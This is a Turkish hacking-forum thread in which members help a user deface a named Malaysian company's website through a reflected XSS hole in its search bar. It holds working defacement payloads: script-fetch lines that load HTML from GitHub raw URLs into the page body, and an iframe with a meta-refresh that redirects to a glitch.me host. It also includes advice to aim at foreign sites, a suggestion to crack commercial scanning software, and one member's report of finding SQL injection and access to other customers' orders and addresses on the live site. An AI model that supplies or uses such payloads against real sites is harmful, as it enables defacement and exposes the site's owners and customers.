Xss açığı olan sitenin indexini değiştirme

hidrhyme · 25 May 2024

Beyler xss açığı olan bir site buldum arama cubuguna yazdıgın javascript kodunu çalıştırıyor (<script>alert();</script> falan) bu sitenin indexini bu şekilde değiştirlebilirmiyim? adam düzeltene kadar benım yazdıgım ındex uzerınde calıssın sıte.

Düzenleme: beyler şimdi kesfettim yazıdıgın html kodlarınıda gerçekleştiriyor millet gerçekten site yapmasını bilmiyor xD,

CommandBEY · 25 May 2024

Hayır XSS saldırıları genelde kalıcı olmuyor, indexlemek için (kalıcı olmadan) o sitede html Inecjtion olması lazım

hidrhyme · 25 May 2024

CommandBEY' Alıntı:
Hayır XSS saldırıları genelde kalıcı olmuyor, indexlemek için (kalıcı olmadan) o sitede html Inecjtion olması lazım

Bu siteye daha onceden bırısı yapmıştı, hacked by r3x yazıyodu sabah düzeldi simdi ben atıcam.

'Herodot · 25 May 2024

Selam,

script fetch ile index yürütebilirsin.

Örneğin benim index;

Kod:

<script>fetch("https://raw.githubusercontent.com/Herodotht/Testing/main/index.html").then(response=>response.text()).then(html=>document.body.innerhtml=html);</script>

Bu JavaScript kod bloğu, bir web sayfasında çalıştırıldığında, belirtilen URL'den bir HTML dosyası alır ve bu dosyanın içeriğini mevcut web sayfasının içeriğiyle değiştirir.

İşlemler şu şekilde gerçekleşir:

fetch() fonksiyonu, belirtilen URL'den veri almak için kullanılır. Bu durumda, GitHub'da belirtilen URL'den bir HTML dosyası alınmaya çalışılıyor.
fetch() fonksiyonu, sunucudan gelen yanıtı temsil eden bir promise döndürür. Bu promise başarıyla tamamlanırsa, yanıtın metin içeriğini temsil eden bir başka promise döndürür.
İkinci .then() yöntemi, bu metin içeriğini alır ve bu içeriği mevcut web sayfasının <body> bölümünün içeriğiyle değiştirir.

Sonuç olarak, bu kod bloğu, bir HTML dosyasının içeriğini dinamik olarak başka bir web sayfasına eklemek veya değiştirmek için kullanılabilir. Bu, web sayfalarının içeriğini güncellemek veya dinamik olarak yüklemek için yaygın olarak kullanılan bir tekniktir.

hidrhyme · 25 May 2024

'Herodot' Alıntı:
Selam,

script fetch ile index yürütebilirsin.

Örneğin benim index;

Kod:

<script>fetch("https://raw.githubusercontent.com/Herodotht/Testing/main/index.html").then(response=>response.text()).then(html=>document.body.innerhtml=html);</script>

Seninkini çalıştırayım mı sitede?

CommandBEY · 25 May 2024

'Herodot' Alıntı:
Selam,

script fetch ile index yürütebilirsin.

Örneğin benim index;

Kod:

<script>fetch("https://raw.githubusercontent.com/Herodotht/Testing/main/index.html").then(response=>response.text()).then(html=>document.body.innerhtml=html);</script>

Biraz açıklasanız, anlayabilirler.

'Herodot · 25 May 2024

hidrhyme' Alıntı:
Seninkini çalıştırayım mı sitede?

Türk sitesine bunu yapmanı önermem, diğer ülkelere yapıştır gitsin.

hidrhyme · 25 May 2024

'Herodot' Alıntı:
Türk sitesine bunu yapmanı önermem, diğer ülkelere yapıştır gitsin.

İndonezya sitesi, türk sitesine yapmam zaten.

'Herodot' Alıntı:
Selam,

script fetch ile index yürütebilirsin.

Örneğin benim index;

Kod:

<script>fetch("https://raw.githubusercontent.com/Herodotht/Testing/main/index.html").then(response=>response.text()).then(html=>document.body.innerhtml=html);</script>

Kral kodu çalıştırdım da site eskisi gibi değişen bir şey yok suan

boyka48 · 25 May 2024

hidrhyme' Alıntı:
Beyler xss açığı olan bir site buldum arama cubuguna yazdıgın javascript kodunu çalıştırıyor (<script>alert();</script> falan) bu sitenin indexini bu şekilde değiştirlebilirmiyim? adam düzeltene kadar benım yazdıgım ındex uzerınde calıssın sıte.

Düzenleme: beyler şimdi kesfettim yazıdıgın html kodlarınıda gerçekleştiriyor millet gerçekten site yapmasını bilmiyor xD,

İframe Kullanarak Yapabilirsin Eğer Kalıcı Xss ise Yapabilirsin Sana Örnek Meta kodunu göndereyim

hidrhyme · 25 May 2024

boyka48' Alıntı:
İframe Kullanarak Yapabilirsin Eğer Kalıcı Xss ise Yapabilirsin Sana Örnek Meta kodunu göndereyim

Meta kodunu gönderirsen cok güzel olur kral, teşekkürler.
Kalıcı xss mi bilmiyorum alert() yazıyorum çalışıyor.

Beyler site bu, alert yazıyorum falan calısıyor ama fetch komutunu yazıyorum tepki vermiyor

JARED

Smart soft Enterprise

jared.com.my

nasıl yapacagım cözemedim açık arama cubugunda @boyka48 @CommandBEY @'Herodot

'Herodot · 25 May 2024

hidrhyme' Alıntı:
Kral kodu çalıştırdım da site eskisi gibi değişen bir şey yok suan

URL'de decoding işlemi uygulanıyor mu ? Post isteklerini mi manipüle ediyorsun ?

Şimdi kafanı fazla karıştırmak istemiyorum, Kali Linux'a Acunetix cracklayabilirsen sana nereye nasıl enjekte edebileceğini gösteriyor.
Cracklerken RAT yemeyelim dikkat.

hidrhyme · 25 May 2024

'Herodot' Alıntı:
URL'de decoding işlemi uygulanıyor mu ? Post isteklerini mi manipüle ediyorsun ?

Şimdi kafanı fazla karıştırmak istemiyorum, Kali Linux'a Acunetix cracklayabilirsen sana nereye nasıl enjekte edebileceğini gösteriyor.
Cracklerken RAT yemeyelim dikkat.

Acutenix'i bilmiyorum sadece bir yerde duymuştum, bir de suan kali yok bende vmware dosyaları sılındı :C

'Herodot' Alıntı:
Selam,

script fetch ile index yürütebilirsin.

Örneğin benim index;

Kod:

<script>fetch("https://raw.githubusercontent.com/Herodotht/Testing/main/index.html").then(response=>response.text()).then(html=>document.body.innerhtml=html);</script>

Bu JavaScript kod bloğu, bir web sayfasında çalıştırıldığında, belirtilen URL'den bir HTML dosyası alır ve bu dosyanın içeriğini mevcut web sayfasının içeriğiyle değiştirir.

İşlemler şu şekilde gerçekleşir:

fetch() fonksiyonu, belirtilen URL'den veri almak için kullanılır. Bu durumda, GitHub'da belirtilen URL'den bir HTML dosyası alınmaya çalışılıyor.

fetch() fonksiyonu, sunucudan gelen yanıtı temsil eden bir promise döndürür. Bu promise başarıyla tamamlanırsa, yanıtın metin içeriğini temsil eden bir başka promise döndürür.

İkinci .then() yöntemi, bu metin içeriğini alır ve bu içeriği mevcut web sayfasının <body> bölümünün içeriğiyle değiştirir.

Sonuç olarak, bu kod bloğu, bir HTML dosyasının içeriğini dinamik olarak başka bir web sayfasına eklemek veya değiştirmek için kullanılabilir. Bu, web sayfalarının içeriğini güncellemek veya dinamik olarak yüklemek için yaygın olarak kullanılan bir tekniktir.

Bide kral simdi farkettim innerhtml yerine innerHTML olması gerekiyormuş çalışmıyor öbür türlü.,
kodu arama cubuguna girince sadece kendi bilgisayarım üstünde böyle gözüküyor, sitedeki çerezleri silince gidiyor.

'Herodot · 25 May 2024

hidrhyme' Alıntı:
Bide kral simdi farkettim innerhtml yerine innerHTML olması gerekiyormuş çalışmıyor öbür türlü.,
kodu arama cubuguna girince sadece kendi bilgisayarım üstünde böyle gözüküyor, sitedeki çerezleri silince gidiyor.

O zaman Reflected XSS vardır, kalıcı olması için Stored, DOM-Based türü XSS zafiyeti olması gerekiyor.

hidrhyme · 25 May 2024

'Herodot' Alıntı:
O zaman Reflected XSS vardır, kalıcı olması için Stored, DOM-Based türü XSS zafiyeti olması gerekiyor.

Site bu kral sağ üstteki arama cubuguna yazınca bir şeyler oluyor, daha öncesinde birisi hacklemişti bu siteyi hacked by r3x yazıyordu. (daha önce dediğim dün)
site linki= JARED

Rapx13 · 25 May 2024

hidrhyme' Alıntı:
Beyler xss açığı olan bir site buldum arama cubuguna yazdıgın javascript kodunu çalıştırıyor (<script>alert();</script> falan) bu sitenin indexini bu şekilde değiştirlebilirmiyim? adam düzeltene kadar benım yazdıgım ındex uzerınde calıssın sıte.

Düzenleme: beyler şimdi kesfettim yazıdıgın html kodlarınıda gerçekleştiriyor millet gerçekten site yapmasını bilmiyor xD,

Sen biliyonmu site yapmasını. Ayrıca indexi o şekilde değiştiremezsin.

hidrhyme' Alıntı:
Beyler xss açığı olan bir site buldum arama cubuguna yazdıgın javascript kodunu çalıştırıyor (<script>alert();</script> falan) bu sitenin indexini bu şekilde değiştirlebilirmiyim? adam düzeltene kadar benım yazdıgım ındex uzerınde calıssın sıte.

Düzenleme: beyler şimdi kesfettim yazıdıgın html kodlarınıda gerçekleştiriyor millet gerçekten site yapmasını bilmiyor xD,

Niye değiştiremeyiceğini anlatıyım sabah düzelten kişi şuanda önlemini almıştır almadıysa bas gitsin

boyka48 · 25 May 2024

hidrhyme' Alıntı:
Meta kodunu gönderirsen cok güzel olur kral, teşekkürler.
Kalıcı xss mi bilmiyorum alert() yazıyorum çalışıyor.

hidrhyme' Alıntı:
Meta kodunu gönderirsen cok güzel olur kral, teşekkürler.
Kalıcı xss mi bilmiyorum alert() yazıyorum çalışıyor.

Beyler site bu, alert yazıyorum falan calısıyor ama fetch komutunu yazıyorum tepki vermiyor

JARED

Smart soft Enterprise

jared.com.my

nasıl yapacagım cözemedim açık arama cubugunda @boyka48 @CommandBEY @'Herodot

İletiyorum

hidrhyme' Alıntı:
Beyler xss açığı olan bir site buldum arama cubuguna yazdıgın javascript kodunu çalıştırıyor (<script>alert();</script> falan) bu sitenin indexini bu şekilde değiştirlebilirmiyim? adam düzeltene kadar benım yazdıgım ındex uzerınde calıssın sıte.

Düzenleme: beyler şimdi kesfettim yazıdıgın html kodlarınıda gerçekleştiriyor millet gerçekten site yapmasını bilmiyor xD,

Aşşağıdaki kodda glitch den kodlarını yapıştır yayınla URL kopyala sonrasında

https://imparl-carnelian-silene.glitch.me

Olan yerleri kendi glitch linkini koy

SORUNSUZ BİR ŞEKİLDE ÇALIŞIR GERİ DÖNÜŞ YAP

HTML:

<html style="font-size: 16px;" class="u-responsive-md"><head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta property="og:title" content="Boyka">
<meta property="og:description" content="Boyka">
<meta property="og:image" content="">
<meta property="og:url" content="">
<meta name="twitter:card" content="summary_large_image">
<title>Boyka</title></head>
<iframe src="https://imparl-carnelian-silene.glitch.me" style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;">
<meta http-equiv="refresh" content="1;URL=https://imparl-carnelian-silene.glitch.me"/>
</iframe>

Mamilate · 25 May 2024

hidrhyme' Alıntı:
Meta kodunu gönderirsen cok güzel olur kral, teşekkürler.
Kalıcı xss mi bilmiyorum alert() yazıyorum çalışıyor.

Beyler site bu, alert yazıyorum falan calısıyor ama fetch komutunu yazıyorum tepki vermiyor

JARED

Smart soft Enterprise

jared.com.my

nasıl yapacagım cözemedim açık arama cubugunda @boyka48 @CommandBEY @'Herodot

arama çubuğu kısmında reflected xss var yani kalıcı olarak değiştiremezsin, ayrıca azıcık baktım blind sql de var gibi (çok detaylı bakmadım hatalı olabilir) eğer database çekersen bir şekilde admin panele erişip index değiştirebilirsin

biraz daha kurcaladım sitede xss den başka açıklar da var

fiyat manipülasyonu
başkalarının sepetini, siparişini, adresini görme
kendini başka kullanıcı yapma vs.
daha fazla da vardır illa 5 dakikalık araştırma sonucu bu

hidrhyme · 25 May 2024

Mamilate' Alıntı:
biraz daha kurcaladım sitede xss den başka açıklar da var
fiyat manipülasyonu
başkalarının sepetini, siparişini, adresini görme
kendini başka kullanıcı yapma vs.
daha fazla da vardır illa 5 dakikalık araştırma sonucu bu

Onları nasıl buldun kral, tool'u falan mı var? öğretirsen güzel olur.

Mamilate · 25 May 2024

hidrhyme' Alıntı:
Onları nasıl buldun kral, tool'u falan mı var? öğretirsen güzel olur.

burpsuite toolunu kullanarak manuel bir şekilde buldum. otomatize edilmiş toollar pek işe yaramaz her zaman manuel şekilde bulmaya çalış

Ümit09 · 25 May 2024

Merhaba index basmak için şu kodu deneyebilirsin

Url kısmını herhangi bir indexin rawını link şeklinde ekleyebilirsin

<script>fetch("https://raw.githubusercontent.com/Umut1923/pro/main/umit.html").then(response => response.text()).then(html => document.body.innerHTML = html);</script>

Xss açığı olan sitenin indexini değiştirme

Yeni üye

Kaptan Pilot

Yeni üye

Katılımcı Üye

Yeni üye

Kaptan Pilot

Katılımcı Üye

Yeni üye

Yeni üye

Yeni üye

Katılımcı Üye

Yeni üye

Katılımcı Üye

Yeni üye

Anka Team Junior

Yeni üye

Üye

Yeni üye

Üye

Yeni üye